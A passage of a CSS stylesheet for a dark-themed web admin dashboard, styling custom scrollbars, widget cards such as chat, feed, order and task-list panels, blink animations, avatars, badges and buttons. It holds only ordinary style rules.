font-size: 14px; } .page-header .breadcrumb { display: flex; margin-bottom: 0; font-size: 11px; } .page-header .text-md-right { margin-top: 5px; } } [data-simplebar] { position: relative; flex-direction: column; flex-wrap: wrap; justify-content: flex-start; align-content: flex-start; align-items: flex-start; } .simplebar-wrapper { overflow: hidden; width: inherit; height: inherit; max-width: inherit; max-height: inherit; } .simplebar-mask { direction: inherit; position: absolute; overflow: hidden; padding: 0; margin: 0; left: 0; top: 0; bottom: 0; right: 0; width: auto !important; height: auto !important; z-index: 0; } .simplebar-offset { direction: inherit !important; box-sizing: inherit !important; resize: none !important; position: absolute; top: 0; left: 0; bottom: 0; right: 0; padding: 0; margin: 0; -webkit-overflow-scrolling: touch; } .simplebar-content-wrapper { direction: inherit; box-sizing: border-box !important; position: relative; display: block; height: 100%; /* Required for horizontal native scrollbar to not appear if parent is taller than natural height */ width: auto; max-width: 100%; /* Not required for horizontal scroll to trigger */ max-height: 100%; /* Needed for vertical scroll to trigger */ scrollbar-width: none; -ms-overflow-style: none; } .simplebar-content-wrapper::-webkit-scrollbar, .simplebar-hide-scrollbar::-webkit-scrollbar { width: 0; height: 0; } .simplebar-content:before, .simplebar-content:after { content: ' '; display: table; } .simplebar-placeholder { max-height: 100%; max-width: 100%; width: 100%; pointer-events: none; } .simplebar-height-auto-observer-wrapper { box-sizing: inherit !important; height: 100%; width: 100%; max-width: 1px; position: relative; float: left; max-height: 1px; overflow: hidden; z-index: -1; padding: 0; margin: 0; pointer-events: none; flex-grow: inherit; flex-shrink: 0; flex-basis: 0; } .simplebar-height-auto-observer { box-sizing: inherit; display: block; opacity: 0; position: absolute; top: 0; left: 0; height: 1000%; width: 1000%; min-height: 1px; min-width: 1px; overflow: hidden; pointer-events: none; z-index: -1; } .simplebar-track { z-index: 1; position: absolute; right: 0; bottom: 0; pointer-events: none; overflow: hidden; } [data-simplebar].simplebar-dragging .simplebar-content { pointer-events: none; -moz-user-select: none; user-select: none; -webkit-user-select: none; } [data-simplebar].simplebar-dragging .simplebar-track { pointer-events: all; } .simplebar-scrollbar { position: absolute; left: 0; right: 0; min-height: 10px; } .simplebar-scrollbar:before { position: absolute; content: ''; background: black; border-radius: 7px; left: 2px; right: 2px; opacity: 0; transition: opacity 0.2s linear; } .simplebar-scrollbar.simplebar-visible:before { /* When hovered, remove all transitions from drag handle */ opacity: 0.5; transition: opacity 0s linear; } .simplebar-track.simplebar-vertical { top: 0; width: 11px; } .simplebar-track.simplebar-vertical .simplebar-scrollbar:before { top: 2px; bottom: 2px; } .simplebar-track.simplebar-horizontal { left: 0; height: 11px; } .simplebar-track.simplebar-horizontal .simplebar-scrollbar:before { height: 100%; left: 2px; right: 2px; } .simplebar-track.simplebar-horizontal .simplebar-scrollbar { right: auto; left: 0; top: 2px; height: 7px; min-height: 0; min-width: 10px; width: auto; } /* Rtl support */ [data-simplebar-direction='rtl'] .simplebar-track.simplebar-vertical { right: auto; left: 0; } .hs-dummy-scrollbar-size { direction: rtl; position: fixed; opacity: 0; visibility: hidden; height: 500px; width: 500px; overflow-y: hidden; overflow-x: scroll; } .simplebar-hide-scrollbar { position: fixed; left: 0; visibility: hidden; overflow-y: scroll; scrollbar-width: none; -ms-overflow-style: none; } .navbar-content { position: relative; } .ps__rail-y { z-index: 5; } .ps .ps__rail-x.ps--clicking, .ps .ps__rail-x:focus, .ps .ps__rail-x:hover, .ps .ps__rail-y.ps--clicking, .ps .ps__rail-y:focus, .ps .ps__rail-y:hover { background: transparent; } .ps__thumb-y { background: black; } .ps__rail-y.ps--clicking .ps__thumb-y, .ps__rail-y:focus > .ps__thumb-y, .ps__rail-y:hover > .ps__thumb-y { background: black; } .mrr-card { position: relative; } .mrr-card .bottom-chart { bottom: 0; } .widget-last-task .img-radius { margin-right: 10px; margin-bottom: 5px; } .widget-last-task span.float-right { font-size: 11px; } .client-map img { vertical-align: top; width: 90px; } .client-map .client-detail { margin-bottom: 20px; } .client-map .client-detail img { border-radius: 5px; } .client-map .client-profile { float: left; } .client-map .client-contain { display: inline-block; margin-left: 20px; } .client-map .client-contain h5, .client-map .client-contain .h5 { display: block; text-transform: capitalize; font-weight: 600; font-size: 18px; padding-bottom: 10px; } .client-map .client-card-box { border: 1px solid #3E3F4A; border-radius: 5px; } .client-map .client-card-box .client-border { border-right: 1px solid #3E3F4A; } .client-map .client-card-box .client-border-card { border-top: 1px solid #3E3F4A; } .marketing-card .table thead th { border-bottom: none; border-top: none; } .marketing-card .table tbody tr:first-child td { border-top: none; } .marketing-card .table tbody .marketing-header { background-color: rgba(34, 36, 44, 0.5); } .marketing-card .table tbody td { vertical-align: middle; } .marketing-card .table tbody td p { margin-bottom: 0; display: inline-block; } .marketing-card .table tbody td .table-contain { display: inline-block; margin-left: 10px; } .marketing-card .table tbody td span { font-weight: 600; } .marketing-card .table tbody td h6, .marketing-card .table tbody td .h6 { margin-bottom: 0; font-size: 0.9rem; font-weight: 600; line-height: 1.5; } .marketing-card .table tbody td .dropdown-toggle { background-color: transparent; border: none; box-shadow: none; padding: 0; } .marketing-card .table tbody td .dropdown-toggle i { margin-right: 0; } .marketing-card .table tbody td .dropdown-toggle:after { display: none; } .marketing-card .table tbody td .social-icon { width: 40px; height: 40px; border-radius: 50%; color: #fff; font-size: 20px; top: -10px; position: relative; display: inline-flex; align-items: center; justify-content: center; } .marketing-card .table tbody td .btn-action { position: relative; padding: 6px 18px 6px 32px; } .marketing-card .table tbody td .btn-action:after { content: ""; position: absolute; border-radius: 50%; width: 10px; height: 10px; left: 12px; top: 10px; } .marketing-card .table tbody td .btn-action.btn-bg-primary:after { background-color: #51459d; } .marketing-card .table tbody td .btn-action.btn-bg-danger:after { background-color: #ff3a6e; } .marketing-card .table tbody td .btn-action.btn-bg-success:after { background-color: #6fd943; } .marketing-card .table tbody td .btn-action.btn-bg-warning:after { background-color: #ffa21d; } .marketing-card .table tbody td .btn-action.btn-bg-info:after { background-color: #3ec9d6; } .marketing-card .table tbody td .btn-action.btn-bg-info:after { background-color: #3ec9d6; } .marketing-card .marketing-card-footer .tab-cont > p { display: inline-block; vertical-align: middle; margin-left: 10px; font-weight: 600; margin-top: -8px; } .marketing-card .marketing-card-footer .tab-cont > p i { font-size: 20px; margin: 0 5px; } .testimonial-card .progress { height: 5px; } .testimonial-card .review-block .cust-img { width: 40px; height: 40px; } .testimonial-card .review-block > div { padding-top: 15px; padding-bottom: 9px; margin-left: 0; margin-right: 0; padding-left: 5px; padding-right: 5px; } .testimonial-card .review-block > div:hover { background-color: rgba(81, 69, 157, 0.1); } .new-cust-card img { width: 40px; } .new-cust-card h6, .new-cust-card .h6 { margin-bottom: 0; } .new-cust-card .align-middle { position: relative; } .new-cust-card .align-middle .status { position: absolute; right: 0; top: 19px; font-size: 13px; } .new-cust-card .align-middle .status.active { width: 10px; height: 10px; border-radius: 50%; background: #6fd943; } .review-card .review-block .cust-img { width: 50px; height: 50px; } .review-card .review-block > div { padding-top: 25px; padding-bottom: 25px; margin-left: 0; margin-right: 0; padding-left: 5px; padding-right: 5px; } .review-card .review-block > div:hover { background-color: rgba(81, 69, 157, 0.1); } .latest-activity-card .card-body { padding-top: 0; } .latest-activity-card .card-body .latest-update-box { position: relative; } .latest-activity-card .card-body .latest-update-box .update-meta { z-index: 2; min-width: 170px; } .latest-activity-card .card-body .latest-update-box .update-meta .update-icon { width: 40px; height: 40px; border-radius: 50%; text-align: center; padding: 12px 13px; font-size: 16px; color: #fff; margin-left: 10px; } @media only screen and (max-width: 575px) { .latest-activity-card .card-body .latest-update-box .update-meta { z-index: 2; min-width: 100%; text-align: left !important; margin-bottom: 15px; border-top: 1px solid #f1f1f1; padding-top: 15px; } } .task-card .task-list { position: relative; } .task-card .task-list:after { content: ""; position: absolute; background: #3E3F4A; height: 100%; width: 2px; top: 0; left: 10px; z-index: 1; } .task-card .task-list:before { content: ""; position: absolute; background: #3E3F4A; height: 15px; width: 15px; bottom: -14px; left: 3px; z-index: 2; border-radius: 50%; } .task-card .task-list li { margin-bottom: 30px; padding-left: 30px; position: relative; } .task-card .task-list li .task-icon { position: absolute; left: 3px; top: 1px; border-radius: 50%; padding: 2px; color: #fff; min-width: 15px; min-height: 15px; z-index: 2; } .latest-posts-card a { transition: all 0.3s ease-in-out; } .latest-posts-card a:hover h6, .latest-posts-card a:hover .h6 { color: #51459d; } .latest-posts-card a ~ p { font-size: 11px; } .latest-posts-card .latest-posts-img { width: 90px; height: 80px; } .latest-update-card .card-body { padding-top: 0; } .latest-update-card .card-body .latest-update-box { position: relative; } .latest-update-card .card-body .latest-update-box:after { content: ""; position: absolute; background: #ebebeb; height: 100%; width: 3px; top: 0; left: 82px; z-index: 1; } .latest-update-card .card-body .latest-update-box .update-meta { z-index: 2; } .latest-update-card .card-body .latest-update-box .update-meta .update-icon { width: 30px; height: 30px; border-radius: 50%; text-align: center; padding: 7px 8px; font-size: 16px; color: #fff; } .latest-update-card .card-body .latest-update-box .update-meta .update-icon.ring { border-width: 3px; width: 15px; height: 15px; padding: 0; display: block; background: #fff; } .latest-update-card .card-body .latest-update-box .update-meta i.update-icon { margin-left: 4px; margin-right: 4px; } .latest-update-card .card-body .latest-update-box .update-meta img.update-icon { padding: 0; width: 40px; height: 40px; } .chat-card .msg { margin-bottom: 5px; display: inline-block; padding: 10px; position: relative; } .chat-card .msg img { width: 60px; border-radius: 5px; margin-bottom: 5px; margin-top: 5px; margin-right: 10px; } .chat-card .received-chat .msg { background: #aba4d7; border-radius: 0 5px 5px 5px; } .chat-card .received-chat .msg:after { content: ""; position: absolute; left: -7px; top: -7px; transform: rotate(45deg); border: 7px solid transparent; border-bottom-color: #aba4d7; } .chat-card .send-chat { text-align: right; } .chat-card .send-chat .msg { background: #51459d; color: #fff; border-radius: 5px 0 5px 5px; } .chat-card .send-chat .msg:after { content: ""; position: absolute; right: -7px; top: -7px; transform: rotate(45deg); border: 7px solid transparent; border-right-color: #51459d; } .user-Messages-card .text-time { font-size: 11px; } .user-Messages-card .u-img { position: relative; } .user-Messages-card .u-img .profile-img { width: 40px; height: 40px; } .user-Messages-card .u-img .tot-msg { width: 15px; height: 15px; position: absolute; bottom: 0; right: -5px; background-color: #ff3a6e; color: #fff; font-size: 10px; border-radius: 50%; text-align: center; } .user-activity-card .u-img { position: relative; } .user-activity-card .u-img .cover-img { width: 40px; height: 40px; } .user-activity-card .u-img .profile-img { width: 20px; height: 20px; position: absolute; bottom: 0; right: -5px; } .product-progress-card .progress { height: 6px; } .product-progress-card .pp-cont { padding-left: 15px; padding-right: 15px; position: relative; } .product-progress-card .pp-cont:after { content: ""; background: #d2d2d2; width: 1px; height: 100%; position: absolute; top: 0; left: -15px; } @media only screen and (max-width: 991px) { .product-progress-card .pp-cont { padding: 15px 0; } .product-progress-card .pp-cont:after { display: none; } } .product-progress-card .pp-main > div:first-child > .pp-cont:after { display: none; } .social-res-card .progress { height: 6px; border-radius: 4px; } .social-res-card .progress .progress-bar { border-radius: 4px; } .analytic-card .analytic-icon { width: 50px; height: 50px; text-align: center; padding: 17px 0; border-radius: 50%; background-color: #fff; } .ticket-card .lbl-card { border-radius: 50px; padding: 5px 15px; display: inline-block; } .proj-t-card { position: relative; overflow: hidden; } .proj-t-card .pt-badge { margin-bottom: 0; display: inline-block; padding: 60px 50px 20px 20px; border-radius: 50%; position: absolute; top: -45px; right: -35px; transition: all 0.3s ease-in-out; } .proj-progress-card .progress { height: 6px; overflow: visible; margin-bottom: 10px; } @media only screen and (max-width: 992px) { .proj-progress-card h6, .proj-progress-card .h6 { margin-top: 15px; } .proj-progress-card .progress { margin-bottom: 20px; } } .prod-p-card i { width: 40px; height: 40px; border-radius: 50%; text-align: center; padding: 11px 0; font-size: 29px; } .comp-card i { width: 50px; height: 50px; border-radius: 50%; text-align: center; padding: 17px 0; font-size: 18px; } .social-widget-card { border-top: none; color: #fff; } .social-widget-card:hover i { opacity: 1; transform: scale(1.1); } .social-widget-card i { position: absolute; right: 10px; bottom: 10px; font-size: 48px; opacity: 0.4; transition: all ease-in 0.3s; } .widget-primary-card.flat-card, .flat-card.widget-purple-card { border-top: none; background-color: #51459d; color: #fff; } .widget-primary-card.flat-card h4, .flat-card.widget-purple-card h4, .widget-primary-card.flat-card .h4, .flat-card.widget-purple-card .h4, .widget-primary-card.flat-card h6, .flat-card.widget-purple-card h6, .widget-primary-card.flat-card .h6, .flat-card.widget-purple-card .h6 { color: #fff; } .widget-primary-card.flat-card .row-table:first-child, .flat-card.widget-purple-card .row-table:first-child { border-bottom: none; } .widget-primary-card.flat-card .row-table > [class*="col-"], .flat-card.widget-purple-card .row-table > [class*="col-"] { border-bottom: none; display: inline-block; vertical-align: middle; } .widget-primary-card.flat-card .row-table > [class*="col-"]:first-child, .flat-card.widget-purple-card .row-table > [class*="col-"]:first-child { background-color: darkslateblue; text-align: center; } .widget-primary-card.flat-card .row-table > [class*="col-"] .row, .flat-card.widget-purple-card .row-table > [class*="col-"] .row { display: flex; align-items: center; } .widget-purple-card.flat-card { background-color: #6fd943; } .widget-purple-card.flat-card .row-table:first-child { border-bottom: none; } .widget-purple-card.flat-card .row-table > [class*="col-"] { border-bottom: none; } .widget-purple-card.flat-card .row-table > [class*="col-"]:first-child { background-color: #5fd52e; } .flat-card .row-table { display: table; align-items: center; table-layout: fixed; height: 100%; width: 100%; margin: 0; } .flat-card .row-table .br { border-right: 1px solid #3E3F4A; } .flat-card .row-table i { font-size: 30px; } .flat-card .row-table span { text-transform: uppercase; font-size: 12px; } .flat-card .row-table h5, .flat-card .row-table .h5 { display: block; margin-bottom: 0.3em; margin-right: 0; } .flat-card .row-table > [class*="col-"] { display: inline-block; float: none; table-layout: fixed; vertical-align: middle; width: calc(100% / 3); } .flat-card .row-table > [class*="col-"] .row { display: flex; align-items: center; } @media (max-width: 575.98px) { .flat-card .row-table { display: block; } .flat-card .row-table > [class*="col-"] { display: inline-block; width: calc(50% - 2px) !important; border-bottom: 1px solid #3E3F4A; } } .flat-card[class*="widget-"] .row-table { display: flex; } .balance-card .progress { width: 100%; height: 8px; background-color: #22242c; border-radius: 30px; } .balance-card .progress .progress-bar { border-radius: 30px; } .card-progress .progress { height: 8px; width: 100%; position: relative; top: 8px; left: 0; border-radius: 0; overflow: inherit; } .feed-card h6, .feed-card .h6 { margin-top: 7px; font-size: 14px; transition: all 0.3s ease-in-out; } .feed-card h6 > span, .feed-card .h6 > span { font-size: 11px; } .feed-card h6:hover, .feed-card .h6:hover { color: #51459d; } .feed-card .feed-icon { border-radius: 50%; width: 30px; height: 30px; text-align: center; padding: 8px 9px; } .feed-card .card-body { position: relative; padding-left: 25px; } .feed-card .card-body.p-t-0.p-b-0 { padding-left: 12px; } .feed-card .card-body .border-feed { border-top-left-radius: 5px; border-bottom-left-radius: 5px; transition: all 0.3s ease-in-out; position: relative; } .feed-card .card-body .border-feed i { position: absolute; top: calc(50% - 20px); left: 0; right: 0; text-align: center; color: #fff; transition: all 0.3s ease-in-out; } .feed-card .card-body .border-feed i.material-icons-two-tone { background-color: #fff; } .feed-card:hover .border-feed.bg-primary { background-color: rgba(81, 69, 157, 0.3) !important; } .feed-card:hover .border-feed.bg-primary i { color: #51459d; } .feed-card:hover .border-feed.bg-primary i.material-icons-two-tone { background-color: #51459d; } .feed-card:hover .border-feed.bg-danger { background-color: rgba(255, 58, 110, 0.3) !important; } .feed-card:hover .border-feed.bg-danger i { color: #ff3a6e; } .feed-card:hover .border-feed.bg-danger i.material-icons-two-tone { background-color: #ff3a6e; } .feed-card:hover .border-feed.bg-success { background-color: rgba(111, 217, 67, 0.3) !important; } .feed-card:hover .border-feed.bg-success i { color: #6fd943; } .feed-card:hover .border-feed.bg-success i.material-icons-two-tone { background-color: #6fd943; } .feed-card:hover .border-feed.bg-warning { background-color: rgba(255, 162, 29, 0.3) !important; } .feed-card:hover .border-feed.bg-warning i { color: #ffa21d; } .feed-card:hover .border-feed.bg-warning i.material-icons-two-tone { background-color: #ffa21d; } .total-request-card .progress { width: 85%; float: left; height: 5px; text-align: center; margin: 0 auto; background-color: #22242c; border-radius: 30px; } .total-request-card .progress .progress-bar { border-radius: 30px; } .total-request-card hr { width: 50px; border-top: 1px solid #3E3F4A; margin-top: 20px; margin-bottom: 20px; } .total-request-card i { position: relative; top: 5px; } .widget-statstic-card { position: relative; overflow: hidden; } .widget-statstic-card .st-icon { color: #fff; padding: 40px 40px 20px 20px; border-radius: 50%; position: absolute; top: -30px; right: -30px; box-shadow: none; } .widget-statstic-card .st-icon > svg { transition: all 0.3s ease-in-out; width: 23px; height: 23px; } .widget-statstic-card h2, .widget-statstic-card .h2 { font-weight: 600; display: inline-block; } .widget-statstic-card span { border-radius: 30px; padding: 5px 20px; color: #fff; font-weight: 600; } .widget-statstic-card:hover .st-icon > svg { width: 50px; height: 50px; } .order-card { color: #fff; overflow: hidden; } .order-card .card-icon { position: absolute; right: -17px; top: 20px; font-size: 100px; opacity: 0.5; } .order-card .card-icon > svg { width: 100px; height: 100px; } .statustic-card .card-body { position: relative; } .statustic-card .card-body .progress { position: absolute; bottom: 0; width: 100%; left: 0; height: 5px; overflow: visible; } .statustic-card .card-body .progress .progress-bar { position: relative; overflow: visible; box-shadow: none; } .statustic-card .card-body .progress .progress-bar:before { content: ""; height: 5px; width: 5px; border-radius: 50%; position: absolute; right: 0; background: inherit; } .statustic-card .card-body .progress .progress-bar.bg-primary:before { animation: blue-blink-bar 0.5s linear infinite; } .statustic-card .card-body .progress .progress-bar.bg-success:before { animation: green-blink-bar 0.5s linear infinite; } .statustic-card .card-body .progress .progress-bar.bg-danger:before { animation: red-blink-bar 0.5s linear infinite; } .statustic-card .card-body .progress .progress-bar.bg-warning:before { animation: yellow-blink-bar 0.5s linear infinite; } @keyframes blue-blink-bar { 0% { box-shadow: 0 0 0 0 rgba(81, 69, 157, 0.1); } 50% { box-shadow: 0 0 0 6px rgba(81, 69, 157, 0.3); } } @keyframes green-blink-bar { 0% { box-shadow: 0 0 0 0 rgba(111, 217, 67, 0.1); } 50% { box-shadow: 0 0 0 6px rgba(111, 217, 67, 0.3); } } @keyframes red-blink-bar { 0% { box-shadow: 0 0 0 0 rgba(255, 58, 110, 0.1); } 50% { box-shadow: 0 0 0 6px rgba(255, 58, 110, 0.3); } } @keyframes yellow-blink-bar { 0% { box-shadow: 0 0 0 0 rgba(255, 162, 29, 0.1); } 50% { box-shadow: 0 0 0 6px rgba(255, 162, 29, 0.3); } } .social-card { color: #fff; overflow: hidden; } .social-card .social-icon { background-color: #fff; border-radius: 5px; text-align: center; padding: 22px 23px; } .social-card .download-icon { color: #fff; background-color: rgba(255, 255, 255, 0.5); position: absolute; height: 125px; width: 125px; right: -125px; padding: 47px 22px; border-radius: 50%; transition: all 0.3s ease-in-out; } .social-card .download-icon > svg { width: 35px; height: 35px; } .social-card:hover .download-icon { right: -60px; } .order-visitor-card { cursor: pointer; } .order-visitor-card:hover { background-color: #51459d; } .order-visitor-card:hover h4, .order-visitor-card:hover .h4, .order-visitor-card:hover h6, .order-visitor-card:hover .h6, .order-visitor-card:hover p { color: #fff; } .widget-visitor-card { overflow: hidden; padding: 10px 0; } .widget-visitor-card i, .widget-visitor-card svg { font-size: 80px; color: #fff; width: 80px; height: 80px; position: absolute; bottom: -10px; opacity: 0.3; left: -10px; transform: rotate(15deg); transition: all 0.3s ease-in-out; } .widget-visitor-card:hover svg { transform: rotate(0deg) scale(1.4); opacity: 0.5; } .app-design .btn { padding: 5px 8px; font-size: 12px; font-weight: 600; border-radius: 5px; } .app-design .team-section img { width: 35px; border-radius: 5px; } .app-design .progress-box p { margin-bottom: 0; } .app-design .progress-box .progress { width: calc(100% - 80px); height: 8px; text-align: center; margin: 0 auto; background-color: #e5e5e5; border-radius: 30px; position: relative; overflow: inherit; } .app-design .progress-box .progress .progress-bar { border-radius: 30px; } .app-design .progress-box .progress .progress-bar label { position: absolute; top: -24px; right: 0; font-weight: 600; font-size: 13px; } .user-card-full { overflow: hidden; } .user-card-full .user-profile-side { border-radius: 5px 0 0 5px; } .user-card-full .social-link li { display: inline-block; } .user-card-full .social-link li a { color: #808191; margin: 0 10px 0 0; transition: all 0.3s ease-in-out; } .user-card-full .social-link li a svg { width: 20px; height: 20px; } .img-radius { border-radius: 50%; } .quater-card .progress { height: 4px; } .statustic-progress-card .progress { height: 5px; } .trafic-card .progress { height: 7px; } .trafic-card .progress.blue { background-color: rgba(81, 69, 157, 0.5); } .trafic-card .progress.green { background-color: rgba(111, 217, 67, 0.5); } .trafic-card .progress.red { background-color: rgba(255, 58, 110, 0.5); } .trafic-card .progress.purple { background-color: rgba(62, 201, 214, 0.5); } .trafic-card .progress.yellow { background-color: rgba(255, 162, 29, 0.5); } .total-card { overflow: hidden; } .total-card .text-start h4, .total-card .text-start .h4 { color: #fff; font-weight: 400; margin-bottom: 5px; } .total-card .text-start p { color: #fff; font-size: 15px; } .table-card .row-table { display: flex; align-items: center; table-layout: fixed; height: 100%; width: 100%; margin: 0; } .table-card .row-table svg { margin: 0 20px; } .table-card .row-table > [class*="col-"] { display: table-cell; float: none; table-layout: fixed; vertical-align: middle; } .table-card .row-table > [class*="col-"] .row { display: flex; align-items: center; } .rides-bar .rides-icon { background: #51459d; border-radius: 50px; padding: 15px; } .visitor .img-female { position: absolute; left: 10px; bottom: 0; } .visitor .img-men { position: absolute; right: 10px; bottom: 0; } .profit-bar .mon-icon { padding: 20px; border-radius: 50px; display: inline-block; float: right; } .profit-bar .mon-icon svg { width: 25px; height: 25px; } .user-card .label { border-radius: 15px; padding: 5px 10px; margin-right: 10px; margin-bottom: 0; box-shadow: none; } .leads-progress .progress, .progress-gender .progress { justify-content: center; height: 10px; border-radius: 0; } .Active-visitor .progress { height: 7px; } .Active-visitor .card-active > div + div { border-left: 1px solid #3E3F4A; } @media screen and (max-width: 767px) { .Active-visitor .card-active [class*="col-"]:last-child { border-left: 0; margin-top: 20px; } } .card-Revenue .rev-icon { background: rgba(255, 255, 255, 0.2); width: 70px; height: 70px; border-radius: 50%; text-align: center; display: flex; justify-content: center; align-items: center; transition: all 0.3s ease-in-out; } .Invoice-bar .invoice-lable label { background: #fff; border-radius: 15px; padding: 4px 20px; } .Invoice-bar .inv-icon { background: rgba(255, 255, 255, 0.2); width: 70px; height: 70px; border-radius: 50%; text-align: center; display: flex; justify-content: center; align-items: center; transition: all 0.3s ease-in-out; } .Invoice-bar .progress { background: rgba(255, 255, 255, 0.22); border-radius: 0; height: 7px; box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.1); } .location-sale .card-icon { width: 70px; height: 70px; background: #fff; border-radius: 50%; position: absolute; top: -20px; text-align: center; right: 0; left: 0; margin: 0 auto; display: flex; justify-content: center; align-items: center; } @media screen and (max-width: 768px) { .location-sale .card-icon { display: none; } } .card-Impression .imp-icon { width: 52px; height: 52px; border-radius: 5px; text-align: center; display: flex; justify-content: center; align-items: center; box-shadow: none; } .card-customer .hct-icon { width: 70px; height: 70px; justify-content: center; align-items: center; display: flex; border-radius: 5px; box-shadow: none; } @media screen and (max-width: 375px) { .card-customer .hct-icon { width: 80px; height: 80px; font-size: 50px; } } .ticket-customer .tick-icon { position: absolute; opacity: 0.2; right: 32px; bottom: 30px; } .customer-visitor .vis-icon { opacity: 0.2; width: 120px; height: 120px; position: absolute; bottom: 0; left: 0; } .card-social:hover i { font-size: 40px; transition: all 0.3s ease-in-out; } .card-social .progress { height: 6px; } .card-social .card-active > div + div { border-left: 1px solid #3E3F4A; } .Online-Order .progress, .statistial-visit .progress { height: 6px; } .affilate-offers .card-icon { opacity: 0.5; } .affilate-offers .label { border-radius: 15px; margin: 0; padding: 8px 18px; } .team-leader .slide li { width: 10px; height: 10px; background-color: #dcdaeb; margin: 0 6px; border-radius: 50px; } .team-leader .slide .carousel-indicators { margin-bottom: -10px; margin-top: 10px; } .team-leader .slide .carousel-indicators .active { background-color: #51459d; } .earning-date .bd-example { padding: 0; margin: 0; border: 0; } .earning-date .bd-example .nav-pills { background: transparent; padding: 0; box-shadow: none; } .earning-date .bd-example .nav-pills .nav-link { min-width: auto; padding: 6px 20px; color: #fff; } .earning-date .bd-example .nav-pills .nav-link.active { position: relative; background: #fff; box-shadow: none; color: #51459d; } .earning-date .bd-example .nav-pills .nav-link.active:after { content: ""; position: absolute; border-left: 5px solid transparent; border-right: 5px solid transparent; border-bottom: 5px solid #fff; top: -5px; left: 0; right: 0; margin: 0 auto; width: 11px; } .earning-date .bd-example .tab-content { background: transparent; padding: 0; box-shadow: none; } .sale-view .sale-icon { width: 60px; height: 60px; border-radius: 50%; display: flex; justify-content: center; align-items: center; box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.2); } .project-task svg { opacity: 0.5; } .project-task .label { border-radius: 15px; margin: 0; padding: 6px 16px; } .project-task .progress { height: 6px; } .summary-box .card-icon { opacity: 0.4; } .card-event .label { border-radius: 15px; margin: 0; padding: 5px 16px; } .card-event svg { position: absolute; bottom: 20px; right: 25px; } .statistial-visit .label { padding: 4px 10px; border-radius: 40px; } .Design-sprint .design-image, .dashboard-kit .design-image { padding: 0; margin: 30px 0 0; list-style: none; } .Design-sprint li, .dashboard-kit li { display: inline-block; text-align: center; margin-right: 3px; } .Design-sprint .btn, .dashboard-kit .btn { border-radius: 50px; border: 0; width: 40px; height: 40px; padding: 0; margin: 0; } .Design-sprint i, .dashboard-kit i { opacity: 0.3; } .post-emoticon ul { padding: 0; margin: 25px 0 0; list-style: none; } .post-emoticon li { display: inline-block; } .ux-designer { position: relative; padding: 35px 30px; } .ux-designer .btn { border-radius: 50px; border: 0; width: 50px; height: 50px; position: absolute; right: 20px; top: -20px; padding: 0; margin: 0; } .visa-top .visa img { position: absolute; left: 0; right: 0; bottom: 0; } .loction-user .row { padding: 35px 30px; } .loction-user svg { opacity: 0.5; } .loction-user .loction-progress { padding: 35px 30px; } .loction-user .loction-progress .progress { justify-content: center; height: 10px; border-radius: 0; } .task-list { list-style: none; position: relative; margin: 0; padding: 30px 0 0; } .task-list:after { content: ""; position: absolute; background: #ecedef; height: 100%; width: 2px; top: 0; left: 30px; z-index: 1; } .task-list li { margin-bottom: 30px; padding-left: 55px; position: relative; } .task-list li:last-child { margin-bottom: 0; } .task-list li .task-icon { position: absolute; left: 22px; top: 13px; border-radius: 50%; padding: 2px; width: 17px; height: 17px; z-index: 2; box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.2); } .project-main svg { opacity: 0.4; } .Application-list .table td, .code-table .table td { vertical-align: middle; } .Application-list .table .label, .code-table .table .label { padding: 4px 10px; border-radius: 15px; } .Application-list thead th, .code-table thead th { border: 0; } .chat-sanders .card-header { background: linear-gradient(-135deg, #3f4d67 0%, #3f4d67 100%); } .chat-sanders .msg { margin-bottom: 5px; display: inline-block; padding: 15px; position: relative; } .chat-sanders .scroll-wrapper { height: 305px; } .chat-sanders .received-chat h5, .chat-sanders .received-chat .h5 { border-radius: 50%; width: 40px; height: 40px; text-align: center; } .chat-sanders .received-chat .msg { background: #fff; box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.1); } .chat-sanders .received-chat .msg:after { content: ""; position: absolute; left: -12px; bottom: 18px; transform: rotate(270deg); border: 6px solid transparent; border-bottom-color: #fff; } .chat-sanders .send-chat h5, .chat-sanders .send-chat .h5 { border-radius: 50%; width: 40px; height: 40px; text-align: center; } .chat-sanders .send-chat .msg { background: #51459d; box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.1); } .chat-sanders .send-chat .msg:after { content: ""; position: absolute; right: -11px; bottom: 18px; transform: rotate(450deg); border: 6px solid transparent; border-bottom-color: #51459d; } .note-bar .friendlist-box { padding: 25px 35px; border-top: 1px solid #3E3F4A; } .note-bar .friendlist-box:first-child { border: 0; } .note-bar .friendlist-box h6, .note-bar .friendlist-box .h6 { display: inline-block; } .note-bar .friendlist-box svg { opacity: 0.2; color: #808191; } .widget-content .widget-lorem .media h5, .widget-content .widget-lorem .media .h5 { border-radius: 50%; width: 50px; height: 50px; text-align: center; } .social-media .progress { background: transparent; border-radius: 0; justify-content: center; } .social-media .progress h5, .social-media .progress .h5 { position: relative; top: -2px; } .avtar { display: inline-flex; align-items: center; justify-content: center; border-radius: 50%; font-size: 18px; font-weight: 600; width: 48px; height: 48px; } .avtar.avtar-xs { width: 32px; height: 32px; font-size: 12px; } .avtar.avtar-s { width: 40px; height: 40px; font-size: 14px; } .avtar.avtar-l { width: 64px; height: 64px; font-size: 20px; } .avtar.avtar-xl { width: 80px; height: 80px; font-size: 24px; } .avtar.avtar-square { border-radius: 4px; border: 2px solid; } .avtar.avtar-icon { border: 2px solid #3E3F4A; } .avtar.avtar-icon > img { width: 60%; } .badge.bg-light-primary { background: #dcdaeb; color: #51459d; border-color: #dcdaeb; } .badge.bg-light-secondary { background: #e2e3e5; color: #6c757d; border-color: #e2e3e5; } .badge.bg-light-success { background: #e2f7d9; color: #6fd943; border-color: #e2f7d9; } .badge.bg-light-info { background: #d8f4f7; color: #3ec9d6; border-color: #d8f4f7; } .badge.bg-light-warning { background: #ffecd2; color: #ffa21d; border-color: #ffecd2; } .badge.bg-light-danger { background: #ffd8e2; color: #ff3a6e; border-color: #ffd8e2; } .badge.bg-light-light { background: #fefefe; color: #f8f9fa; border-color: #fefefe; } .badge.bg-light-dark { background: #d2d3d5; color: #1c232f; border-color: #d2d3d5; } .btn { font-size: 14px; } .btn i { font-size: 18px; } .btn svg { width: 18px; height: 18px; } .btn[class*="btn-light-"] { box-shadow: none; } .btn[class*="btn-outline-"]:not(:hover) { box-shadow: none; } .btn.btn-shadow { box-shadow: 0 6px 7px -1px rgba(80, 86, 175, 0.3); } .btn.btn-sm i, .btn-group-sm > .btn i { font-size: 14px; 